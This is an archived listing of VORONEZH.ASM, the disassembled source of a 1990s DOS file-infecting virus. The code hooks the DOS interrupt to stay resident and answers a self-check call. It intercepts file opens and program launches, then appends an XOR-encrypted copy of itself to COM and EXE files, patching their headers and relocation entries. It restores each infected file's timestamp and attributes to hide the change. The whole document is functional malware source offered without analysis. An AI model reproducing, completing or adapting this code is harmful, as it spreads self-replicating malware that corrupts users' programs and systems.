home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VORONEZH.ASM < prev    next >
Assembly Source File  |  1992-10-09  |  17KB  |  881 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    VORONEZH                     ██
  7. ;██                                         ██
  8. ;██      Created:   2-Mar-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AJW                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    1C2h
  14. data_5e        equ    3
  15. data_6e        equ    0
  16. data_7e        equ    2
  17. data_46e    equ    100h
  18.  
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.  
  22.  
  23.         org    100h
  24.  
  25. voronezh    proc    far
  26.  
  27. start:
  28.         mov    ax,ds
  29.         push    cs
  30.         pop    ds
  31.         push    ax
  32.         call    sub_1
  33.  
  34. voronezh    endp
  35.  
  36. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  37. ;                   SUBROUTINE
  38. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  39.  
  40. sub_1        proc    near
  41.         pop    bx
  42.         sub    bx,108h
  43.         push    bx
  44.         mov    ah,0ABh
  45.         int    21h            ; ??INT Non-standard interrupt
  46.         cmp    ax,5555h
  47.         jne    loc_1            ; Jump if not equal
  48.         jmp    loc_10
  49. loc_1:
  50.         mov    ax,es
  51.         sub    ax,1
  52.         mov    ds,ax
  53.         mov    bx,data_5e
  54.         mov    ax,ds:[bx]
  55.         sub    ax,0EAh
  56.         mov    ds:[bx],ax
  57.         push    es
  58.         pop    ds
  59.         mov    bx,data_7e
  60.         mov    ax,ds:[bx]
  61.         sub    ax,0EAh
  62.         mov    ds:[bx],ax
  63.         mov    es,ax
  64.         mov    di,data_46e
  65.         mov    si,100h
  66.         pop    bx
  67.         push    bx
  68.         add    si,bx
  69.         push    cs
  70.         pop    ds
  71.         mov    cx,6A4h
  72.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  73.         mov    dx,ax
  74.         jmp    short loc_9
  75.         nop
  76.         pushf                ; Push flags
  77.         sti                ; Enable interrupts
  78.         cmp    ah,0ABh
  79.         jne    loc_2            ; Jump if not equal
  80.         mov    ax,5555h
  81.         popf                ; Pop flags
  82.         iret                ; Interrupt return
  83. loc_2:
  84.         cmp    ax,3D00h
  85.         jne    loc_5            ; Jump if not equal
  86.         push    ax
  87.         push    bx
  88.         push    cx
  89.         push    dx
  90.         push    si
  91.         push    di
  92.         push    es
  93.         mov    cx,41h
  94.         xor    al,al            ; Zero register
  95.         mov    di,dx
  96.         push    ds
  97.         pop    es
  98.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  99.         sub    di,4
  100.         mov    si,di
  101.         push    si
  102.         push    cs
  103.         pop    es
  104.         mov    cx,4
  105.         mov    di,289h
  106.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  107.         cmp    cx,0
  108.         jne    loc_3            ; Jump if not equal
  109.         pop    si
  110.         jmp    short loc_4
  111.         nop
  112. loc_3:
  113.         mov    di,28Ch
  114.         mov    cx,4
  115.         pop    si
  116.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  117.         cmp    cx,0
  118. loc_4:
  119.         pop    es
  120.         pop    di
  121.         pop    si
  122.         pop    dx
  123.         pop    cx
  124.         pop    bx
  125.         pop    ax
  126.         jz    loc_6            ; Jump if zero
  127. loc_5:
  128.         push    ax
  129.         inc    ah
  130.         cmp    ax,4C00h
  131.         pop    ax
  132.         jnz    loc_8            ; Jump if not zero
  133. loc_6:
  134.         push    ax
  135.         push    bx
  136.         push    cx
  137.         push    dx
  138.         push    si
  139.         push    di
  140.         push    es
  141.         push    ds
  142.         jmp    loc_16
  143. loc_7:
  144.         pop    ds
  145.         pop    es
  146.         pop    di
  147.         pop    si
  148.         pop    dx
  149.         pop    cx
  150.         pop    bx
  151.         pop    ax
  152. loc_8:
  153.         popf                ; Pop flags
  154. ;*        jmp    far ptr loc_49
  155.         db    0EAh,0B5h, 02h, 46h,0D5h
  156. loc_9:
  157.         mov    ds,dx
  158.         mov    ax,3521h
  159.         int    21h            ; DOS Services  ah=function 35h
  160.                         ;  get intrpt vector al in es:bx
  161.         mov    ds:data_1e,bx
  162.         db     3Eh, 8Ch, 06h,0C4h, 01h, 3Eh
  163.         db     89h, 1Eh, 75h, 03h, 3Eh, 8Ch
  164.         db     06h, 77h, 03h, 8Dh, 16h, 53h
  165.         db     01h,0B8h, 21h, 25h,0CDh
  166.         db    21h
  167. loc_10:
  168.         pop    dx
  169.         mov    bx,offset data_18
  170.         add    bx,dx
  171.         cmp    byte ptr cs:[bx],0
  172.         je    loc_12            ; Jump if equal
  173.         pop    ds
  174.         mov    ax,ds
  175.         push    cs
  176.         pop    ds
  177.         mov    cx,dx
  178.         pop    di
  179.         pop    es
  180.         push    ax
  181.         sub    di,5
  182.         mov    si,offset data_17
  183.         add    si,cx
  184.         mov    dl,[si]
  185.         add    es:[di+5],dl
  186.         cmp    es:[di+5],dl
  187.         ja    loc_11            ; Jump if above
  188.         dec    si
  189.         inc    byte ptr [si]
  190. loc_11:
  191.         mov    dx,di
  192.         mov    si,offset data_16
  193.         add    si,cx
  194.         mov    cx,5
  195.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  196.         pop    ds
  197.         push    es
  198.         push    dx
  199.         mov    ax,ds
  200.         mov    es,ax
  201.         xor    ax,ax            ; Zero register
  202.         xor    bx,bx            ; Zero register
  203.         xor    cx,cx            ; Zero register
  204.         xor    dx,dx            ; Zero register
  205.         xor    si,si            ; Zero register
  206.         xor    di,di            ; Zero register
  207.         retf                ; Return far
  208. loc_12:
  209.         mov    ax,cs
  210.         mov    ds,ax
  211.         mov    es,ax
  212.         mov    si,268h
  213.         mov    cx,100h
  214.         mov    bx,281h
  215.         mov    di,[bx]
  216.         cmp    di,0
  217.         jne    loc_13            ; Jump if not equal
  218.         int    20h            ; DOS program terminate
  219. loc_13:
  220.         mov    bx,283h
  221.         mov    ax,[bx]
  222.         add    di,ax
  223.         add    di,100h
  224.         cld                ; Clear direction
  225.         push    di
  226.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  227.         pop    di
  228.         mov    cx,word ptr ds:[283h]
  229.         mov    ax,word ptr ds:[281h]
  230.         push    di
  231.         retn
  232.         add    ax,100h
  233.         mov    si,ax
  234.         mov    di,100h
  235.         cld                ; Clear direction
  236.  
  237. locloop_14:
  238.         mov    al,[si]
  239.         xor    al,0BBh
  240.         mov    [di],al
  241.         inc    si
  242.         inc    di
  243.         loop    locloop_14        ; Loop if cx > 0
  244.  
  245.         mov    ax,offset start
  246.         pop    bx
  247.         push    ax
  248.         retn
  249.         inc    ax
  250.         push    es
  251.         inc    ax
  252.         push    es
  253.         push    si
  254.         add    ax,0E2Bh
  255.         inc    bp
  256.         pop    ax
  257.         inc    bp
  258.         db     65h, 78h, 65h, 55h, 76h, 7Fh
  259.         db    'ctsqu`Voronezh,1990 2.01'
  260. data_16        db    90h
  261.         db    0B8h, 7Fh, 0Eh, 8Eh
  262. data_17        db    0
  263. data_18        db    0
  264. data_19        dw    200h
  265. data_20        dw    14Dh
  266. data_21        db    0, 0, 0, 0, 0
  267. data_22        dw    0
  268. data_23        dw    34Dh
  269. data_24        dw    0
  270. data_25        dw    5D0h
  271. data_26        db    9Ah
  272. data_27        dw    5D0h
  273. data_28        dw    0
  274. data_29        dw    0
  275. data_30        dw    1Eh
  276. data_31        dw    100h
  277. data_32        dw    100h
  278. data_33        db    5
  279. data_34        dw    20h
  280. data_35        dw    0A956h
  281. data_36        dw    41B9h
  282.  
  283. loc_ret_15:
  284.         iret                ; Interrupt return
  285. loc_16:
  286.         mov    bx,dx
  287.         mov    ax,ds:[bx+3]
  288.         cmp    ax,4F43h
  289.         jne    $+5            ; Jump if not equal
  290.         jmp    loc_7
  291. sub_1        endp
  292.  
  293.         mov    di,dx
  294.         xor    ax,ax            ; Zero register
  295.         mov    cs:data_33,0
  296.         db     3Eh, 80h, 7Dh, 01h, 3Ah
  297.         db     75h, 09h, 3Eh, 8Ah, 05h, 24h
  298.         db     9Fh, 2Eh,0A2h,0CFh, 02h
  299. loc_18:
  300.         mov    ax,4300h
  301.         int    21h            ; DOS Services  ah=function 43h
  302.                         ;  get attrb cx, filename @ds:dx
  303.         mov    cs:data_34,cx
  304.         mov    cs:data_35,ds
  305.         mov    cs:data_36,dx
  306.         push    ds
  307.         push    dx
  308.         push    es
  309.         push    cs
  310.         pop    ds
  311.         mov    ax,3524h
  312.         int    21h            ; DOS Services  ah=function 35h
  313.                         ;  get intrpt vector al in es:bx
  314.         mov    word ptr ds:[285h],bx
  315.         mov    word ptr ds:[287h],es
  316.         mov    dx,offset loc_ret_15
  317.         mov    ax,2524h
  318.         int    21h            ; DOS Services  ah=function 25h
  319.                         ;  set intrpt vector al to ds:dx
  320.         pop    es
  321.         pop    dx
  322.         pop    ds
  323.         push    ds
  324.         push    cs
  325.         pop    ds
  326.         mov    bx,100h
  327.         mov    cx,740h
  328.         sub    cx,bx
  329.         mov    bx,283h
  330.         mov    [bx],cx
  331.         pop    ds
  332.         mov    bx,dx
  333.         push    ds
  334.         push    dx
  335.         push    bx
  336.         push    cs
  337.         pop    ds
  338.         mov    ah,36h            ; '6'
  339.         mov    dl,data_33
  340.         int    21h            ; DOS Services  ah=function 36h
  341.                         ;  get drive info, drive dl,1=a:
  342.                         ;   returns ax=clust per sector
  343.                         ;   bx=avail clust,cx=bytes/sect
  344.                         ;   dx=clusters per drive
  345.         cmp    ax,0FFFFh
  346.         jne    loc_24            ; Jump if not equal
  347. loc_23:
  348.         pop    ax
  349.         pop    ax
  350.         pop    ax
  351.         call    sub_3
  352.         jmp    loc_7
  353. loc_24:
  354.         mul    bx            ; dx:ax = reg * ax
  355.         mul    cx            ; dx:ax = reg * ax
  356.         or    dx,dx            ; Zero ?
  357.         jnz    loc_25            ; Jump if not zero
  358.         cmp    ax,word ptr ds:[283h]
  359.         jb    loc_23            ; Jump if below
  360. loc_25:
  361.         pop    bx
  362.         pop    dx
  363.         pop    ds
  364.         mov    ax,3D00h
  365.         pushf                ; Push flags
  366.         cli                ; Disable interrupts
  367. ;*        call    far ptr sub_5
  368.         db     9Ah,0B5h, 02h, 46h,0D5h
  369.         jnc    loc_26            ; Jump if carry=0
  370.         call    sub_3
  371.         jmp    loc_7
  372. loc_26:
  373.         push    ax
  374.         mov    ax,cs
  375.         mov    ds,ax
  376.         mov    es,ax
  377.         pop    ax
  378.         push    ax
  379.         mov    bx,ax
  380.         mov    ax,5700h
  381.         int    21h            ; DOS Services  ah=function 57h
  382.                         ;  get file date+time, bx=handle
  383.                         ;   returns cx=time, dx=time
  384.         pop    ax
  385.         push    cx
  386.         push    dx
  387.         push    ax
  388.         mov    bx,ax
  389.         mov    cx,0
  390.         mov    dx,0
  391.         mov    ah,42h            ; 'B'
  392.         mov    al,2
  393.         int    21h            ; DOS Services  ah=function 42h
  394.                         ;  move file ptr, bx=file handle
  395.                         ;   al=method, cx,dx=offset
  396.         mov    bx,281h
  397.         mov    [bx],ax
  398.         mov    bx,283h
  399.         mov    cx,[bx]
  400.         mov    cx,0
  401.         mov    dx,0
  402.         mov    ax,4200h
  403.         pop    bx
  404.         push    bx
  405.         int    21h            ; DOS Services  ah=function 42h
  406.                         ;  move file ptr, bx=file handle
  407.                         ;   al=method, cx,dx=offset
  408.         mov    bx,283h
  409.         mov    cx,[bx]
  410.         pop    bx
  411.         push    bx
  412.         mov    dx,offset data_37
  413.         mov    ah,3Fh            ; '?'
  414.         int    21h            ; DOS Services  ah=function 3Fh
  415.                         ;  read file, bx=file handle
  416.                         ;   cx=bytes to ds:dx buffer
  417.         mov    si,offset data_37
  418.         mov    cx,[si]
  419.         cmp    cx,0D88Ch
  420.         jne    loc_27            ; Jump if not equal
  421.         pop    bx
  422.         pop    ax
  423.         pop    ax
  424.         call    sub_2
  425.         jmp    loc_7
  426. loc_27:
  427.         cmp    cx,5A4Dh
  428.         je    loc_28            ; Jump if equal
  429.         jmp    loc_44
  430. loc_28:
  431.         pop    bx
  432.         push    bx
  433.         mov    ax,4200h
  434.         xor    cx,cx            ; Zero register
  435.         xor    dx,dx            ; Zero register
  436.         int    21h            ; DOS Services  ah=function 42h
  437.                         ;  move file ptr, bx=file handle
  438.                         ;   al=method, cx,dx=offset
  439.         mov    cx,32h
  440.         mov    ax,3F00h
  441.         lea    dx,data_37        ; Load effective addr
  442.         int    21h            ; DOS Services  ah=function 3Fh
  443.                         ;  read file, bx=file handle
  444.                         ;   cx=bytes to ds:dx buffer
  445.         mov    ax,data_39
  446.         mov    cx,4
  447.         mul    cx            ; dx:ax = reg * ax
  448.         mov    bx,data_44
  449.         add    ax,bx
  450.         mov    dx,ax
  451.         mov    di,dx
  452.         mov    ax,data_40
  453.         mov    cx,10h
  454.         mul    cx            ; dx:ax = reg * ax
  455.         mov    dx,di
  456.         add    dx,4
  457.         cmp    ax,dx
  458.         ja    loc_29            ; Jump if above
  459.         jmp    loc_43
  460. loc_29:
  461.         mov    data_19,ax
  462.         mov    ax,data_39
  463.         inc    ax
  464.         mov    data_39,ax
  465.         mov    ax,data_42
  466.         mov    data_20,ax
  467.         mov    ax,data_43
  468.         mov    word ptr data_21,ax
  469.         xor    dx,dx            ; Zero register
  470.         xor    cx,cx            ; Zero register
  471.         mov    ax,4202h
  472.         pop    bx
  473.         push    bx
  474.         int    21h            ; DOS Services  ah=function 42h
  475.                         ;  move file ptr, bx=file handle
  476.                         ;   al=method, cx,dx=offset
  477.         push    ax
  478.         push    dx
  479.         add    ax,word ptr ds:[283h]
  480.         cmp    ax,word ptr ds:[283h]
  481.         ja    loc_30            ; Jump if above
  482.         inc    dx
  483. loc_30:
  484.         mov    cx,200h
  485.         div    cx            ; ax,dx rem=dx:ax/reg
  486.         cmp    dx,0
  487.         je    loc_31            ; Jump if equal
  488.         inc    ax
  489. loc_31:
  490.         mov    bx,data_38
  491.         mov    cx,ax
  492.         sub    cx,bx
  493.         cmp    cx,5
  494.         jb    loc_32            ; Jump if below
  495.         pop    ax
  496.         pop    ax
  497.         jmp    loc_43
  498. loc_32:
  499.         mov    data_38,ax
  500.         pop    dx
  501.         pop    ax
  502.         mov    bx,data_19
  503.         cmp    ax,bx
  504.         jb    loc_33            ; Jump if below
  505.         sub    ax,bx
  506.         jmp    short loc_34
  507.         nop
  508. loc_33:
  509.         sub    ax,bx
  510.         dec    dx
  511. loc_34:
  512.         mov    data_24,dx
  513.         mov    data_25,ax
  514.         mov    ax,data_19
  515.         mov    bx,data_20
  516.         mov    dx,0
  517.         add    ax,bx
  518.         cmp    ax,bx
  519.         ja    loc_35            ; Jump if above
  520.         inc    dx
  521. loc_35:
  522.         mov    si,ax
  523.         mov    di,dx
  524.         mov    ax,word ptr data_21
  525.         mov    cx,10h
  526.         mul    cx            ; dx:ax = reg * ax
  527.         add    di,dx
  528.         add    si,ax
  529.         cmp    si,ax
  530.         ja    loc_36            ; Jump if above
  531.         inc    di
  532. loc_36:
  533.         mov    ax,si
  534.         mov    dx,di
  535.         mov    data_22,dx
  536.         mov    data_23,ax
  537.         mov    cx,dx
  538.         mov    dx,ax
  539.         mov    ax,4200h
  540.         mov    data_18,1
  541.         mov    data_17,0
  542.         pop    bx
  543.         push    bx
  544.         int    21h            ; DOS Services  ah=function 42h
  545.                         ;  move file ptr, bx=file handle
  546.                         ;   al=method, cx,dx=offset
  547.         mov    cx,5
  548.         lea    dx,data_16        ; Load effective addr
  549.         mov    ax,3F00h
  550.         int    21h            ; DOS Services  ah=function 3Fh
  551.                         ;  read file, bx=file handle
  552.                         ;   cx=bytes to ds:dx buffer
  553.         cmp    data_16,9Ah
  554.         jne    loc_37            ; Jump if not equal
  555.         jmp    loc_43
  556. loc_37:
  557.         call    sub_4
  558.         mov    bx,data_44
  559.         mov    ax,data_39
  560.         dec    ax
  561.         mov    cx,4
  562.         mul    cx            ; dx:ax = reg * ax
  563.         add    bx,ax
  564.         mov    cx,0
  565.         mov    dx,bx
  566.         mov    ax,4200h
  567.         pop    bx
  568.         push    bx
  569.         int    21h            ; DOS Services  ah=function 42h
  570.                         ;  move file ptr, bx=file handle
  571.                         ;   al=method, cx,dx=offset
  572.         mov    dx,data_20
  573.         add    dx,3
  574.         mov    data_20,dx
  575.         lea    dx,data_20        ; Load effective addr
  576.         mov    cx,4
  577.         mov    ah,40h            ; '@'
  578.         pop    bx
  579.         push    bx
  580.         int    21h            ; DOS Services  ah=function 40h
  581.                         ;  write file  bx=file handle
  582.                         ;   cx=bytes from ds:dx buffer
  583.         mov    dx,data_20
  584.         sub    dx,3
  585.         mov    data_20,dx
  586.         xor    dx,dx            ; Zero register
  587.         xor    cx,cx            ; Zero register
  588.         mov    ax,4200h
  589.         pop    bx
  590.         push    bx
  591.         int    21h            ; DOS Services  ah=function 42h
  592.                         ;  move file ptr, bx=file handle
  593.                         ;   al=method, cx,dx=offset
  594.         mov    cx,data_44
  595.         lea    dx,data_37        ; Load effective addr
  596.         mov    ah,40h            ; '@'
  597.         int    21h            ; DOS Services  ah=function 40h
  598.                         ;  write file  bx=file handle
  599.                         ;   cx=bytes from ds:dx buffer
  600.         mov    data_26,9Ah
  601.         mov    ax,data_25
  602.         mov    data_27,ax
  603.         mov    ax,data_24
  604.         mov    cx,1000h
  605.         mul    cx            ; dx:ax = reg * ax
  606.         mov    data_28,ax
  607.         cmp    data_27,0F000h
  608.         jb    loc_38            ; Jump if below
  609.         mov    ax,data_27
  610.         mov    dx,data_28
  611.         add    dx,100h
  612.         sub    ax,1000h
  613.         mov    data_28,dx
  614.         mov    data_27,ax
  615. loc_38:
  616.         mov    cx,data_22
  617.         mov    dx,data_23
  618.         mov    ax,4200h
  619.         pop    bx
  620.         push    bx
  621.         int    21h            ; DOS Services  ah=function 42h
  622.                         ;  move file ptr, bx=file handle
  623.                         ;   al=method, cx,dx=offset
  624.         mov    cx,5
  625.         mov    ah,40h            ; '@'
  626.         lea    dx,data_26        ; Load effective addr
  627.         int    21h            ; DOS Services  ah=function 40h
  628.                         ;  write file  bx=file handle
  629.                         ;   cx=bytes from ds:dx buffer
  630.         mov    cx,0
  631.         mov    dx,0
  632.         mov    ax,4202h
  633.         pop    bx
  634.         push    bx
  635.         int    21h            ; DOS Services  ah=function 42h
  636.                         ;  move file ptr, bx=file handle
  637.                         ;   al=method, cx,dx=offset
  638.         mov    ah,40h            ; '@'
  639.         mov    cx,word ptr ds:[283h]
  640.         mov    dx,100h
  641.         int    21h            ; DOS Services  ah=function 40h
  642.                         ;  write file  bx=file handle
  643.                         ;   cx=bytes from ds:dx buffer
  644.         xor    cx,cx            ; Zero register
  645.         mov    dx,data_44
  646.         mov    ax,4200h
  647.         pop    bx
  648.         push    bx
  649.         int    21h            ; DOS Services  ah=function 42h
  650.                         ;  move file ptr, bx=file handle
  651.                         ;   al=method, cx,dx=offset
  652.         mov    data_32,0
  653.         mov    data_29,dx
  654.         mov    data_30,ax
  655.         mov    ax,data_39
  656.         mov    di,0
  657.         dec    ax
  658.         cmp    ax,0
  659.         jne    loc_39            ; Jump if not equal
  660.         jmp    loc_43
  661. loc_39:
  662.         mov    cx,4
  663.         mul    cx            ; dx:ax = reg * ax
  664.         mov    si,ax
  665. loc_40:
  666.         mov    cx,0
  667.         mov    dx,0
  668.         mov    ax,4201h
  669.         int    21h            ; DOS Services  ah=function 42h
  670.                         ;  move file ptr, bx=file handle
  671.                         ;   al=method, cx,dx=offset
  672.         mov    data_29,dx
  673.         mov    data_30,ax
  674.         mov    cx,100h
  675.         mov    dx,data_6e
  676.         mov    ax,3F00h
  677.         int    21h            ; DOS Services  ah=function 3Fh
  678.                         ;  read file, bx=file handle
  679.                         ;   cx=bytes to ds:dx buffer
  680.         mov    di,data_6e
  681.         mov    data_31,ax
  682.         add    data_32,ax
  683. loc_41:
  684.         mov    ax,[di+2]
  685.         cmp    ax,word ptr data_21
  686.         jne    loc_42            ; Jump if not equal
  687.         mov    ax,[di]
  688.         cmp    ax,data_20
  689.         jb    loc_42            ; Jump if below
  690.         mov    ax,data_20
  691.         add    ax,5
  692.         cmp    ax,[di]
  693.         jbe    loc_42            ; Jump if below or =
  694.         mov    ax,data_28
  695.         mov    [di+2],ax
  696.         mov    ax,[di]
  697.         mov    bx,data_20
  698.         sub    ax,bx
  699.         push    ax
  700.         mov    ax,2AAh
  701.         sub    ax,100h
  702.         mov    bx,data_27
  703.         add    ax,bx
  704.         pop    bx
  705.         add    ax,bx
  706.         mov    [di],ax
  707.         mov    cx,data_29
  708.         mov    dx,data_30
  709.         mov    ax,4200h
  710.         pop    bx
  711.         push    bx
  712.         int    21h            ; DOS Services  ah=function 42h
  713.                         ;  move file ptr, bx=file handle
  714.                         ;   al=method, cx,dx=offset
  715.         mov    cx,data_31
  716.         mov    ah,40h            ; '@'
  717.         pop    bx
  718.         push    bx
  719.         mov    dx,data_6e
  720.         int    21h            ; DOS Services  ah=function 40h
  721.                         ;  write file  bx=file handle
  722.                         ;   cx=bytes from ds:dx buffer
  723.         jmp    short loc_43
  724.         nop
  725. loc_42:
  726.         add    di,4
  727.         mov    ax,data_32
  728.         sub    ax,100h
  729.         add    ax,di
  730.         cmp    ax,si
  731.         je    loc_43            ; Jump if equal
  732.         cmp    di,data_31
  733.         jb    loc_41            ; Jump if below
  734.         jmp    loc_40
  735. loc_43:
  736.         jmp    short loc_48
  737.         nop
  738. loc_44:
  739.         mov    cx,word ptr ds:[281h]
  740.         cmp    cx,0EE48h
  741.         jb    loc_46            ; Jump if below
  742. loc_45:
  743.         pop    bx
  744.         pop    ax
  745.         pop    ax
  746.         call    sub_2
  747.         jmp    loc_7
  748. loc_46:
  749.         cmp    cx,word ptr ds:[283h]
  750.         jb    loc_45            ; Jump if below
  751.         call    sub_4
  752.         mov    data_18,0
  753.         mov    dx,0
  754.         mov    cx,0
  755.         mov    ax,4202h
  756.         pop    bx
  757.         push    bx
  758.         int    21h            ; DOS Services  ah=function 42h
  759.                         ;  move file ptr, bx=file handle
  760.                         ;   al=method, cx,dx=offset
  761.         mov    si,283h
  762.         mov    cx,[si]
  763.         mov    ah,40h            ; '@'
  764.         push    cx
  765.         mov    bx,offset data_37
  766.  
  767. locloop_47:
  768.         mov    al,[bx]
  769.         xor    al,0BBh
  770.         mov    [bx],al
  771.         inc    bx
  772.         loop    locloop_47        ; Loop if cx > 0
  773.  
  774.         pop    cx
  775.         pop    bx
  776.         push    bx
  777.         mov    dx,offset data_37
  778.         int    21h            ; DOS Services  ah=function 40h
  779.                         ;  write file  bx=file handle
  780.                         ;   cx=bytes from ds:dx buffer
  781.         mov    ax,4200h
  782.         mov    dx,0
  783.         mov    cx,0
  784.         int    21h            ; DOS Services  ah=function 42h
  785.                         ;  move file ptr, bx=file handle
  786.                         ;   al=method, cx,dx=offset
  787.         mov    bx,110h
  788.         mov    si,283h
  789.         mov    cx,[si]
  790.         mov    dx,100h
  791.         mov    ah,40h            ; '@'
  792.         pop    bx
  793.         push    bx
  794.         int    21h            ; DOS Services  ah=function 40h
  795.                         ;  write file  bx=file handle
  796.                         ;   cx=bytes from ds:dx buffer
  797. loc_48:
  798.         pop    bx
  799.         pop    dx
  800.         pop    cx
  801.         push    bx
  802.         mov    ax,5701h
  803.         int    21h            ; DOS Services  ah=function 57h
  804.                         ;  set file date+time, bx=handle
  805.                         ;   cx=time, dx=time
  806.         mov    dx,data_36
  807.         mov    ds,data_35
  808.         mov    ax,4301h
  809.         mov    cx,cs:data_34
  810.         int    21h            ; DOS Services  ah=function 43h
  811.                         ;  set attrb cx, filename @ds:dx
  812.         push    cs
  813.         pop    ds
  814.         pop    bx
  815.         call    sub_2
  816.         jmp    loc_7
  817.  
  818. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  819. ;                   SUBROUTINE
  820. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  821.  
  822. sub_2        proc    near
  823.         mov    ax,3E00h
  824.         int    21h            ; DOS Services  ah=function 3Eh
  825.                         ;  close file, bx=file handle
  826.  
  827. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  828.  
  829. sub_3:
  830.         mov    bx,word ptr ds:[285h]
  831.         mov    es,word ptr ds:[287h]
  832.         mov    ax,2524h
  833.         int    21h            ; DOS Services  ah=function 25h
  834.                         ;  set intrpt vector al to ds:dx
  835.         retn
  836. sub_2        endp
  837.  
  838.  
  839. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  840. ;                   SUBROUTINE
  841. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  842.  
  843. sub_4        proc    near
  844.         push    bp
  845.         mov    bp,sp
  846.         push    ds
  847.         mov    ax,4301h
  848.         mov    dx,data_36
  849.         mov    ds,data_35
  850.         xor    cx,cx            ; Zero register
  851.         int    21h            ; DOS Services  ah=function 43h
  852.                         ;  set attrb cx, filename @ds:dx
  853.         jnc    $+8            ; Jump if carry=0
  854.         pop    ds
  855.         pop    bp
  856.         pop    ax
  857.         jmp    loc_43
  858. sub_4        endp
  859.  
  860.         db     36h, 8Bh, 5Eh, 04h,0B8h, 00h
  861.         db     3Eh,0CDh, 21h,0B8h, 02h, 3Dh
  862.         db    0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h
  863.         db     01h, 1Fh, 36h, 89h, 46h, 04h
  864.         db     5Dh,0C3h
  865. data_37        db    3
  866.         db    0BBh,0F7h, 76h
  867. data_38        dw    0BB9Ah
  868. data_39        dw    0BBBBh
  869. data_40        dw    0BBBBh
  870.         db    10 dup (0BBh)
  871. data_42        dw    0BBBBh
  872. data_43        dw    0BBBBh
  873. data_44        dw    0BBBBh
  874.         db    1574 dup (0BBh)
  875.  
  876. seg_a        ends
  877.  
  878.  
  879.  
  880.         end    start
  881.